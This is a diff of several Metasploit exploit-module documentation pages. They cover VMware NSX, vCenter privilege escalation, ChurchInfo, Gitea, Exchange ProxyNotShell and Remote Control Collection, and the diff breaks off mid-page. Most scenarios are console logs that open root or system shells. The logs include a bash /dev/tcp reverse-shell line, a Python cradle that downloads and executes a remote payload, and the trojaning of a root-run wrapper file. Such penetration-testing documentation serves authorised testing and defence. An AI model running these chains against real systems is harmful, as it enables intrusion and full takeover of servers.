according to the [UnRAID Getting Started](https://wiki.unraid.net/UnRAID_6/Getting_Started) guide.
@@ -0,0 +1,173 @@
## Vulnerable Application
VMware Cloud Foundation contains a remote code execution vulnerability via XStream open source library [CVE-2022-39144](https://nvd.nist.gov/vuln/detail/CVE-2021-39144).
VMware has evaluated the severity of this issue to be in the [Critical severity range](https://www.vmware.com/support/policies/security_response.html) with a maximum CVSSv3 base score of [9.8](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Due to an unauthenticated endpoint that leverages XStream for input serialization in VMware Cloud Foundation (NSX-V),
a malicious actor can get remote code execution in the context of `root` on the appliance.
VMware Cloud Foundation `3.x` and more specific NSX Manager Data Center for vSphere up to and including version `6.4.13`
are vulnerable to Remote Command Injection.
This module has been tested against VMware NSX Manager (NSX-V) with the specifications listed below:
* VMware NSX Manager
* Version `6.4.13`
* Version `6.4.4`
## Verification Steps
Follow these instructions to install a vulnerable VMware NSX Manager on VirtualBox.
* Go to [Download VMware NSX for vSphere 6.4.13](https://customerconnect.vmware.com/en/downloads/details?downloadGroup=NSXV_6413&productId=417&rPId=96480)
* Note: You need to be a customer with valid VMware subscriptions
* Download the ova file `VMware-NSX-Manager-6.4.13-19307994.ova`
* Open VirtualBox and import the ova file
* After sucessful import, start the VM and you have a VMware NSX Manager running which is accessible using url `https://<nsx-manager-ip>`
* Credentials to login: user: `admin`, password: `default`
* Use the module and options below to test the vulnerability...
1. `use use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144`
1. `set RHOSTS <TARGET HOSTS>`
1. `set RPORT <port>`
1. `set LHOST <attacker host ip>`
1. `set LPORT <attacker host port>`
1. `set TARGET <0-Unix command or 1-Linux Dropper>`
1. `exploit`
1. You should get a `bash` shell or `meterpreter` session depending on the target and payload settings.
## Options
No specific options.
## Scenarios
### VMware NSX Manager bash reverse shell
```
msf6 > use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > options
Module options (exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machi
ne or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set rhosts 192.168.100.5
rhosts => 192.168.100.5
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.5:443 can be exploited !
[+] The target appears to be vulnerable. Target is running VMware NSX Manager (NSX-V)
[*] Executing Unix (In-Memory) with bash -c '0<&44-;exec 44<>/dev/tcp/192.168.100.7/4444;sh <&44 >&44 2>&44'
[*] Command shell session 14 opened (192.168.100.7:4444 -> 192.168.100.5:42512) at 2022-11-05 10:33:37 +0000
pwd
/usr/lib/tanuki/bin
whoami
root
exit
[*] 192.168.100.5 - Command shell session 14 closed.
```
### VMware NSX Manager meterpreter session
```
msf6 > use exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > options
Module options (exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machi
ne or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 Linux Dropper
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set rhosts 192.168.100.5
rhosts => 192.168.100.5
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144) > exploit
[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.5:443 can be exploited !
[+] The target appears to be vulnerable. Target is running VMware NSX Manager (NSX-V)
[*] Executing Linux Dropper
[*] Using URL: http://192.168.100.7:8080/G5xrKmpiufcQdCt
[*] Client 192.168.100.5 (curl/7.81.0) requested /G5xrKmpiufcQdCt
[*] Sending payload to 192.168.100.5 (curl/7.81.0)
[*] Command Stager progress - 100.00% done (121/121 bytes)
[*] Sending stage (3045348 bytes) to 192.168.100.5
[*] Meterpreter session 13 opened (192.168.100.7:4444 -> 192.168.100.5:42384) at 2022-11-05 10:29:30 +0000
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.100.5
OS : NSX Manager 6.4.13 (Linux 4.9.297)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
## Limitations
The vulnerability check is limited in detecting that VMWare NSX Manager (NSX-V) is running without obtaining the version information.
However all VMware NSX Manager versions up to `6.4.13` are vulnerable, except for `6.4.14`, so most detected targets are likely
to be vulnerable.
@@ -0,0 +1,112 @@
## Vulnerable Application
This module exploits a privilege escalation in vSphere/vCenter due to improper permissions on the
`/usr/lib/vmware-vmon/java-wrapper-vmon` file. It is possible for anyone in the
`cis` group to write to the file, which will execute as root on `vmware-vmon` service
restart or host reboot.
This module was successfully tested against VMware VirtualCenter 6.5.0 build-7070488.
The following versions should be vulnerable:
- vCenter 7.0 before U2c
- vCenter 6.7 before U3o
- vCenter 6.5 before U3q
## Verification Steps
1. Start msfconsole
2. Obtain a shell on vCenter for a user in the `cis` group.
3. Do: `use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc`
4. Do: `set session #`
5. Do: `run`
6. Restart the host, or the service (`systemctl restart vmware-vmon.service`) with a user who has permission
7. You should get a root shell.
## Options
## Scenarios
### VMware VirtualCenter 6.5.0 build-7070488
Get initial shell (any vic group member will do, here we use vsphere-client)
```
[*] Processing java_wrapper.rb for ERB directives.
resource (java_wrapper.rb)> use multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (java_wrapper.rb)> set lhost 2.2.2.2
lhost => 2.2.2.2
resource (java_wrapper.rb)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Using URL: http://2.2.2.2:8080/cFK3ylrNE9s
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://2.2.2.2:8080/cFK3ylrNE9s', context=ssl._create_unverified_context());exec(r.read());"
msf6 exploit(multi/script/web_delivery) >
[*] 1.1.1.1 web_delivery - Delivering Payload (432 bytes)
[*] Sending stage (24380 bytes) to 1.1.1.1
[*] Meterpreter session 1 opened (2.2.2.2:4444 -> 1.1.1.1:59084) at 2022-11-20 10:45:06 -0500
msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: vsphere-client
meterpreter > sysinfo
Computer : localhost.ragedomain
OS : Linux 4.4.8 #1-photon SMP Fri Oct 21 20:13:51 UTC 2016
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > shell
Process 6710 created.
Channel 1 created.
vpxd -v
/usr/sbin/vpxd: line 34: ulimit: open files: cannot modify limit: Operation not permitted
sed: couldn't open temporary file /etc/vmware-vpx/sedXf9kV4: Permission denied
VMware VirtualCenter 6.5.0 build-7070488
^Z
Background channel 1? [y/N] y
meterpreter > background
[*] Backgrounding session 1...
```
Conduct the priv esc
```
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/vcenter_java_wrapper_vmon_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set session 1
session => 1
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > set verbose true
verbose => true
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > jobs -K
Stopping all jobs...
[*] Server stopped.
msf6 exploit(linux/local/vcenter_java_wrapper_vmon_priv_esc) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session architecture: python
[*] Started reverse TCP handler on 2.2.2.2:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /usr/lib/vmware-vmon/java-wrapper-vmon is writable and owned by cis group
[+] Original /usr/lib/vmware-vmon/java-wrapper-vmon backed up to /root/.msf4/loot/20221120104723_default_1.1.1.1_javawrappervmo_605726.txt
[*] Writing payload to /tmp/.BCOL6n
[*] Writing '/tmp/.BCOL6n' (250 bytes) ...
[*] Writing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon
[*] Attempting to restart vmware-vmon service
[-] vmware-vmon service needs to be restarted, or host rebooted to obtain shell.
[*] Waiting 1800 seconds for shell
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045348 bytes) to 1.1.1.1
[+] Deleted /tmp/.BCOL6n
[*] Meterpreter session 2 opened (2.2.2.2:4444 -> 1.1.1.1:32906) at 2022-11-20 10:47:52 -0500
[*] Replacing trojaned /usr/lib/vmware-vmon/java-wrapper-vmon with original
meterpreter > getuid
Server username: root
meterpreter >
```
@@ -1,10 +1,18 @@
## Vulnerable Application
Currently, as of 2022-07-26, all versions of Zimbra are vulnerable. Presumably they'll patch it eventually - I have an open security ticket with Zimbra.
The following versions of Zimbra are vulnerable:
* Zimbra Collaboration Suite 9.0.0 Patch 26 and earlier
* Zimbra Collaboration Suite 8.8.15 Patch 33 and earlier
## Verification Steps
Install Zimbra on any supported Linux version and get a session as the `zimbra` user. I used Ubuntu 18.04 for testing, and then CVE-2022-30333 to exploit, but this will work on a fully patched system as well. Then...
Install Zimbra on any supported Linux version and get a session as the `zimbra`
user. The easiest way to exploit zimbra is to `rm $(which pax)`, reboot, and
use CVE-2022-41352. Or generate a Meterpreter payload with `msfvenom` and run
it.
From there:
```
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > sessions -l
@@ -0,0 +1,164 @@
## Vulnerable Application
* Project Homepage: http://www.churchdb.org/
* Project Download: https://sourceforge.net/projects/churchinfo/files/
ChurchInfo is an open source PHP application used to help churches manage systems and users of the church.
There are various vulnerabilities in the ChurchInfo software which can be exploited by an
attacker, however this module targets an authenticated remote code execution (RCE) vulnerability
known as CVE-2021-43258 to execute code as the web daemon user (e.g. www-data).
ChurchInfo v1.2.13, v1.2.14, and v1.3.0 contain functionality to email users listed in the ChurchInfo database
with attachments. When preparing the email, a draft of the attachment is saved into
`/tmp_attach/`, which is a web accessible folder under the ChurchInfo web root. Before the email is sent,
the attachment draft can be loaded in the application. By uploading a malicious PHP file
as an attachment and then browsing to it on the web server, RCE can be achieved.
This vulnerability was assigned CVE-2021-43258. Version 1.3.0 was the latest version of ChurchInfo at the time
of writing and there is presently no known patch for this issue.
### Installation
Installation guides are available on the SourceForge site at https://sourceforge.net/projects/churchinfo/files/.
The following however is a quick and easy way to get most versions of ChurchInfo up and running using Docker,
which should make it a lot easier to setup and also clean up once you are finished testing things out.
1. `wget https://master.dl.sourceforge.net/project/churchinfo/churchinfo/1.3.0/churchinfo-1.3.0.tar.gz`
1. `tar -xvf churchinfo-1.3.0.tar.gz`
1. `sudo docker run -i -t -p "9090:80" -v ${PWD}/churchinfo:/app mattrayner/lamp:0.8.0-1804-php7`.
1. `sudo docker ps -a` and find the container ID that was created and which is now running.
1. `sudo docker exec -it *container ID* /bin/bash`
1. Inside the new prompt:
1. `mysqladmin -u root -p create churchinfo` and press the ENTER key when prompted for the password.
1. `cd /app/churchinfo/SQL`
1. `mysql -u root -p churchinfo < Install.sql` and press the ENTER key when prompted for the password.
1. `apt-get install nano` if you want to use Nano.
1. `nano /app/churchinfo/Include/Config.php`.
1. Set the `$sUSER` variable to `'root'`.
1. Set the `$sPASSWORD` variable to `''`.
1. Set the `$sRootPath` variable to `'/churchinfo'`. This should be default though.
1. Set the `$URL[0]` to `http://localhost/churchinfo/Default.php`.
1. Exit out of `nano` and run `/etc/init.d/apache2 restart`
1. Log in at `http://127.0.0.1:9090/churchinfo/Default.php` with the username `Admin` and password `churchinfoadmin`.
1. This should cause the app to redirect to a password change form.
1. Specify the old password, aka `churchinfoadmin` and then specify the new password twice and submit the form.
1. Go to `http://127.0.0.1:9090/churchinfo/PersonEditor.php` and fill out the form with as much detail as possible.
1. Click "Save and Add".
## Verification Steps
This module requires authenticated access to the application. After identifying a vulnerable
ChurchInfo application, there MUST be a person entry available within the database. If there are no person
entries within the database, it will not be possible to create a draft email. This draft email
will be used to place the malicious attachment into the `/tmp_attach` directory for our exploit.
1. Start `msfconsole`
1. `use exploit/multi/http/churchinfo_upload_exec`
1. Set the target `RHOST`, `APPBASE`, `USERNAME`, and `PASSWORD` values.
1. Optional: Set the target `RPORT` if the ChurchInfo server is running on a different port than port 80.
1. Optional: `set SSL true` if the target is using SSL for ChurchInfo.
1. Select the payload of choice or leave default.
1. Set the `LHOST` to your system.
1. Run the exploit with `run`, enjoy the shell!
## Options
There are a handful of options which can be used to further configure the attack or other environmental uses.
### USERNAME
The username of a valid user account for the ChurchInfo application. Default is `admin`.
### PASSWORD
The password for a valid user account for the ChurchInfo application. Default is `churchinfoadmin` based on documentation.
### APPBASE
The base directory path to the ChurchInfo application. This can and will likely
vary depending on how the application was installed. Default value is `/churchinfo/`.
### EMAIL_SUBJ
The subject of the draft email used for the exploit, the email is not sent. Default value is `Read this now!`.
### EMAIL_MESG
The message on the draft email which is used for the exploit. The email is not sent. Default value is `Hello there!`.
## Scenarios
If there are no person entries in the database, the exploit will fail. To help troubleshoot, enable verbose mode with the following:
```
set verbose true
```
This will enable additional information and details about the exploit as it is launched.
### ChurchInfo v1.3.0 with MySQL 5.7.35 on Ubuntu Linux 18.04.2 LTS (Docker Image)
```
msf6 > use exploit/multi/http/churchinfo_upload_exec
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/churchinfo_upload_exec) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf6 exploit(multi/http/churchinfo_upload_exec) > set RPORT 9090
RPORT => 9090
msf6 exploit(multi/http/churchinfo_upload_exec) > set PASSWORD testing123
PASSWORD => testing123
msf6 exploit(multi/http/churchinfo_upload_exec) > show options
Module options (exploit/multi/http/churchinfo_upload_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
EMAIL_MESG Hello there! yes Email message in webapp
EMAIL_SUBJ Read this now! yes Email subject in webapp
PASSWORD testing123 yes Password to login with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 9090 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /churchinfo/ yes The location of the ChurchInfo app
USERNAME admin yes Username for ChurchInfo application
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.30.182.196 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(multi/http/churchinfo_upload_exec) > set LHOST docker0
LHOST => docker0
msf6 exploit(multi/http/churchinfo_upload_exec) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] Target is ChurchInfo!
[+] The target is vulnerable. Target is running ChurchInfo 1.3.0!
[+] Logged into application as admin
[*] Navigating to add items to cart
[+] Items in Cart: Items in Cart: 2
[+] Uploading exploit via temp email attachment
[+] Exploit uploaded to /churchinfo/tmp_attach/ueNYs9.php
[+] Executing payload with GET request
[*] Sending stage (39927 bytes) to 172.18.0.2
[+] Deleted ueNYs9.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:37790) at 2022-11-18 17:44:31 -0600
meterpreter > getpid
Current pid: 452
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 8eeaa82293b4
OS : Linux 8eeaa82293b4 5.15.0-53-generic #59-Ubuntu SMP Mon Oct 17 18:53:30 UTC 2022 x86_64
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,229 @@
## Vulnerable Application
[Gitea](https://gitea.io/) is a painless self-hosted Git service community
managed lightweight code hosting solution written in Go.
This module has been tested successfully on Gitea versions:
* 1.16.6 with Git 2.30.3 (Docker)
* 1.16.6 with Git 2.30.2 (Windows 10)
### Description
This module exploits Git fetch command in Gitea repository migration process that leads to a remote command execution on the system.
This vulnerability affect Gitea before 1.16.7 version.
The migration process require valid Git repository address so the module will
use the Gitea target itself by creating a temporary repository. This scenario
won't work with [Gitea default configuration](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini)
because `ALLOW_LOCALNETWORKS` is disabled. However, it will be ignored when
[ALLOWED_DOMAINS](https://github.com/go-gitea/gitea/blob/main/custom/conf/app.example.ini#L2289)
is set, but it must be set to all domain with `*` for this scenario to work.
There is an update in the Git-remote command line starting from version 2.34.0
which refuses to update the branch pull request URL to the current path.
```
\testrepo.git>git version
git version 2.34.0.windows.1
\testrepo.git>git remote add -f master ./
Updating master
fatal: bad object refs/pull/0/head
error: ./ did not send all necessary objects
error: Could not fetch master
```
This causes the exploit to fail because Git-fetch will not executed if the
Git-remote fail. Details of these limitation are explained
[here](https://tttang.com/archive/1607/)
### Source and Installers
* [Source Code Repository](https://github.com/go-gitea/gitea/)
* [Installers](https://dl.gitea.io/gitea/1.16.6)
* [Docker](https://docs.gitea.io/en-us/install-with-docker/)
### Docker installation
1. create `docker-compose.yml` file
```
version: "3"
networks:
gitea:
external: false
services:
server:
image: gitea/gitea:1.16.6
container_name: gitea
environment:
- USER_UID=1000
- USER_GID=1000
restart: always
networks:
- gitea
volumes:
- ./gitea:/data
- /etc/timezone:/etc/timezone:ro
- /etc/localtime:/etc/localtime:ro
ports:
- "3000:3000"
- "222:22"
```
2. run `docker-compose up`
3. append `ALLOW_LOCALNETWORKS` in the configuration file.
```
:~$ cat << EOF >> gitea/gitea/conf/app.ini
> [migrations]
> ALLOW_LOCALNETWORKS = true
> EOF
```
4. Navigate to the localhost port 3000 and finish the installation. Note that
the first registered user will automatically become administrator so make
sure to set the administrator username and password upon installation.
## Verification Steps
1. Navigate to `/user/sign_up` and register normal user
2. Do: `use unix/webapp/gitea_git_fetch_rce`
3. Do: `set RHOSTS [ips]`
4. Do: `set LHOST [lhost]`
5. Do: `set USERNAME [username]`
6. Do: `set PASSWORD [password]`
7. Do: `run`
8. You should get a shell.
## Options
### USERNAME
The Gitea valid username to authenticate
### USERNAME
The Gitea valid password to authenticate
### HTTPDELAY
Number of seconds the web server will wait to deliver payload (default: 12)
## Scenarios
### Successful exploitation of Gitea 1.16.6 on Docker
```
msf6 > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf
username => msf
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty
password => qwerty
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://172.17.0.1:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/d8s1ZLsl/topics
[*] Creating repository "u8W2Lu24p"
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgAB..."]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAA...
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Migrating repository
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:60744) at 2022-10-03 18:40:15 +0700
[*] Server stopped.
meterpreter > getuid
Server username: git
```
### Successful exploitation of Gitea 1.16.6 on Windows 10
```
msf6 > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > set target 2
target => 2
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 192.168.0.21
rhosts => 192.168.0.21
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 192.168.0.104
lhost => 192.168.0.104
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username yo
username => yo
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password password
password => password
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
[*] Started reverse TCP handler on 192.168.0.104:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://192.168.0.104:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/pulls
[*] Adding hardcoded uri /api/v1/repos/yo/Gu5em72aTm5/topics
[*] Creating repository "ExcLF0xBxG"
[+] Repository created
[*] Executing command: powershell.exe -nop -w hidden -noni -ep bypass "&([...
[*] Migrating repository
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700
[*] Migrating repository
[*] Powershell session session 1 opened (192.168.0.104:4444 -> 192.168.0.21:49499) at 2022-10-03 19:03:38 +0700
[*] Server stopped.
PS C:\Users\msf\Downloads\data\gitea-repositories\yo\gu5em72atm5.git> whoami
msf
```
### Failed exploitation due to migration settings
```
msf6 > use exploit/multi/http/gitea_git_fetch_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/gitea_git_fetch_rce) > set rhosts 172.17.0.2
rhosts => 172.17.0.2
msf6 exploit(multi/http/gitea_git_fetch_rce) > set lhost 172.17.0.1
lhost => 172.17.0.1
msf6 exploit(multi/http/gitea_git_fetch_rce) > set username msf
username => msf
msf6 exploit(multi/http/gitea_git_fetch_rce) > set password qwerty
password => qwerty
msf6 exploit(multi/http/gitea_git_fetch_rce) > set verbose true
verbose => true
msf6 exploit(multi/http/gitea_git_fetch_rce) > run
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version detected: 1.16.6
[*] Using URL: http://172.17.0.1:8080/
[*] Server started.
[*] Adding hardcoded uri /api/v1/version
[*] Adding hardcoded uri /api/v1/settings/api
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/pulls
[*] Adding hardcoded uri /api/v1/repos/msf/9JDwz2xTngq7w/topics
[*] Creating repository "P7EpcvA"
[+] Repository created
[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAA..."]
[*] Executing command: echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAAB...
[*] Command Stager progress - 100.00% done (833/833 bytes)
[*] Migrating repository
[*] Server stopped.
[-] Exploit aborted due to failure: unexpected-reply: Unable to migrate repo:
You can not import from disallowed hosts, please ask the admin to check
ALLOWED_DOMAINS/ALLOW_LOCALNETWORKS/BLOCKED_DOMAINS settings.
[*] Exploit completed, but no session was created.
```
@@ -0,0 +1,66 @@
## Vulnerable Application
This module chains two vulnerabilities on Microsoft Exchange Server that, when combined, allow an authenticated attacker
to interact with the Exchange Powershell backend (CVE-2022-41040), where a deserialization flaw can be leveraged to
obtain code execution (CVE-2022-41082). This exploit only support Exchange Server 2019.
By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server.
This vulnerability affects:
* Exchange 2013 CU23 < 15.0.1497.44
* Exchange 2016 CU22 < 15.1.2375.37
* Exchange 2016 CU23 < 15.1.2507.16
* Exchange 2019 CU11 < 15.2.986.36
* Exchange 2019 CU12 < 15.2.1118.20
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: November 8, 2022 (KB5019758)][1]*
## Verification Steps
1. Start msfconsole
2. Do: `use exploit/windows/http/exchange_proxynotshell_rce`
3. Do: `set RHOSTS [IP]`
4. Do: `set USERNAME [USERNAME]`
5. Do: `set PASSWORD [PASSWORD]`
6. Do: `run`
## Advanced Options
### EemsBypass
Technique to bypass the EEMS rule.
**none** -- Make no attempt to bypass the EEMS rule. This can be used with the `check` method to determine if the EEMS
M1 rule is applied.
**IBM037v1** -- Use IBM037 encoding combined with the `X-Up-Devcap-Post-Charset` header and `UP` User-Agent prefix. See
[ProxyNotRelay][2] for more information.
### MaxBackendRetries
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
## Scenarios
### Version and OS
```
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set RHOSTS 192.168.159.11
RHOSTS => 192.168.159.11
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set USERNAME aliddle
USERNAME => aliddle
msf6 exploit(windows/http/exchange_proxynotshell_rce) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 exploit(windows/http/exchange_proxynotshell_rce) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (175686 bytes) to 192.168.159.11
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.11:7290) at 2022-11-18 17:32:18 -0500
meterpreter >
```
[1]: https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-microsoft-exchange-server-2019-2016-and-2013-november-8-2022-kb5019758-2b3b039b-68b9-4f35-9064-6b286f495b1d
[2]: https://rw.md/2022/11/09/ProxyNotRelay.html
@@ -10,9 +10,9 @@ This vulnerability affects:
* Exchange 2013 CU23 < 15.0.1497.15
* Exchange 2016 CU19 < 15.1.2176.12
* Exchange 2016 CU20 < 15.1.2242.5
* Exchange 2016 CU20 < 15.1.2242.8
* Exchange 2019 CU8 < 15.2.792.13
* Exchange 2019 CU9 < 15.2.858.9
* Exchange 2019 CU9 < 15.2.858.10
*Source: [Description of the security update for Microsoft Exchange Server 2019, 2016, and 2013: April 13, 2021 (KB5001779)][1]*
@@ -87,6 +87,11 @@ The path where you want to write the backdoor. Default: `aspnet_client`
This is MAPI client version sent in the request.
### MaxBackendRetries
The maximum number of times to retry for targeting the backend server with the SSRF. This is useful in environments
where a Data Availability Group (DAG) is in place and causes requests to be sent to a random backend server.
## Scenarios
### Exchange 2016 CU 19 on Server 2016
@@ -0,0 +1,106 @@
## Vulnerable Application
This module utilizes the Remote Control Server's, part
of the Remote Control Collection by Steppschuh, protocol
to deploy a payload and run it from the server. This module will only deploy
a payload if the server is set without a password (default).
Tested against 3.1.1.12, current at the time of module writing
Version 3.1.1.12 can be downloaded from http://remote-control-collection.com/
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/windows/misc/remote_control_collection_rce`
4. Set `rhost` and `lhost` as required.
5. Do: `run`
6. You should get a shell as the user who is running Remote Mouse.
## Options
### PATH
The location to write the payload to
Defaults to `%temp%\\` aka `c:\\Windows\\Temp\\` on most systems.
### SLEEP
